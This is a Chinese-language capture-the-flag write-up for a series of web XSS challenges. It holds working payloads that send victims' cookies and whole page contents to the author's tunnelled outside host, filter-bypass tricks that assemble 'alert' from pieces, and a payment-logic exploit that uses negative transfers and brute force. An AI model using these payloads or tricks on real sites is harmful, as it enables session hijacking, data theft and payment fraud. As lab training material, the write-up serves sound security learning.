目录
2. 自己搭建服务器(也可以是映射自己的IP给公网域名,这里我使用的是小米球)
这里简单对xss做一个了解:
xss分为反射型和储存型
反射型:一般是由攻击者选择攻击对象,对攻击对象发一个带有xss窃取cookie的页面的url,被攻击者点击就会动过document.cookie将用户信息一并发送给攻击方的服务器。反射型XSS一般发生在浏览器,当受害者访问含有XSS代码的页面时浏览器解析并执行XSS代码造成信息泄露。
存储型:攻击方将恶意代码插入在存在漏洞的网站上,任何访问网站的人都会遭到攻击,比起反射型xss,存储型xss危害更大,范围更广。存储型则是脚本解析发生在服务端,XSS代码被存储在服务器上,当用户访问网站时,服务器将代码发送至浏览器,浏览器解析后造成执行XSS。
web316:
从题目这里就能知道是反射性xss
工具跑一跑没有waf并且是反射性的XSS
这里有两种方法可以通过document.cookie获取管理员的cookie
1. 直接使用网上现成的服务器去接收cookie信息
2. 自己搭建服务器(也可以是映射自己的IP给公网域名,这里我使用的是小米球)
启动以后会把本地ip端口给映射到外网服务器的域名上,能通过域名访问本地局域网
另一种做法,如果在家里可以给路由器做ip映射
本地开启http服务(这里我已经接收到了cookie信息)
payload: 这里是使用的域名访问的
<script>document.location='http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top/?cookie='+document.cookie</script>
web317-321:
这里简单列几个
a标签
<a href="x" οnfοcus="location.href="http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top?cookie="+document.cookie;" autofocus="">xss</a>
ima标签
<img src=x οnerrοr="alert(1)">
iframe标签
<iframe οnlοad="alert('xss');"></iframe>
body标签
<body οnlοad="alert('xss');"></body>
web322-326:
后续这里过滤了空格
空格绕过蛮多的/**/ %09 %0A %0C %0D %20都可以试一试
这里在拓展一点绕过
如果alert这些被过滤了,可以利用eval、top、window等这些把他们拼接起来
例如:
<img src="x" οnerrοr="eval('al'+'ert(1)')">
出了通过函数拼接以外还可以利用赋值拼接
例如:
<img src x=al y=ert οnerrοr=top[x+y](1)>
web327:
这里一看就是存储型XSS,直接给admin发邮件,让admin访问执行XSS得到flag
payload: <body οnlοad="document.location='http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top?cookie='+document.cookie;"></body>
网站应该是写了某种脚本,发送过去的邮件自动访问,每隔多久在访问一次
web328:
这种情况一般XSS会出现在注册这里,但是一般是一次性的,这种情况一般出现在管理员会去验证注册的人员是否可以注册,当管理员去查验的时候执行到了XSS从而造成信息泄露
payload:
<script>document.location='http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top?cookie='+document.cookie;</script>
将获得的cookie插入在存储在本地的cookie信息中,然后直接去访问用户管理得到flag
web329:
像这一题不能像328一样伪造cookie造成用户伪造的目的,这一题似乎会随机给admin发cookie,每次访问都会销毁前一次的cookie,从而达就算泄露了cookie也不能达到伪造的效果
payload:
<script>window.open('http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top/'+document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML)</script>
<script> ... </script>
: 这是一个JavaScript脚本的标签,用于包裹JavaScript代码。
window.open(...)
: 这是JavaScript中用于打开新窗口的方法,它接受一个URL作为参数,并在新窗口中加载该URL。
'http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top/' + document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML
: 这部分构建了要打开的URL。首先,它将一个固定的URL'http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top/'
与页面中特定元素的内容组合在一起。具体来说,它使用了document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML
来获取页面上class为layui-table-cell laytable-cell-1-0-1
的元素的HTML内容,并将其作为URL的一部分。总的来说,这段代码的作用是在当前页面打开一个新窗口,并访问一个特定的URL,该URL由固定部分和页面特定元素的内容组成。
web330-331:
如果像上一题那样做需要知道flag所在的html标志才能拿下来,现在直接把整页打印下来不久行了吗
payload:
(function(){(new Image()).src='http://d1ml3az8yu7w.ngrok.xiaomiqiu123.top/?content='+escape(document.body.innerHTML)})();
web332:
这里需要购买flag,要9999圆
这一题感觉不像是XSS而是支付逻辑漏洞了
尝试给admin赚钱,看是否能修改金额
会显示有内鬼
先去注册,然后登录一个账户(这里我已经得到flag了)
尝试给admin转钱
抓包改为负数
防包以后发现钱变多了
web333:
我的做法明显是一种非预期的做法,也有XSS的做法可以自己去摸索
这里的漏洞点在这里,
这一次再尝试给admin转钱以及不行了
但是我们账户里有五块钱,给自己转转钱试试呢
钱也变多了,这明显的支付逻辑漏洞
直接拿去bp爆破嘎嘎涨钱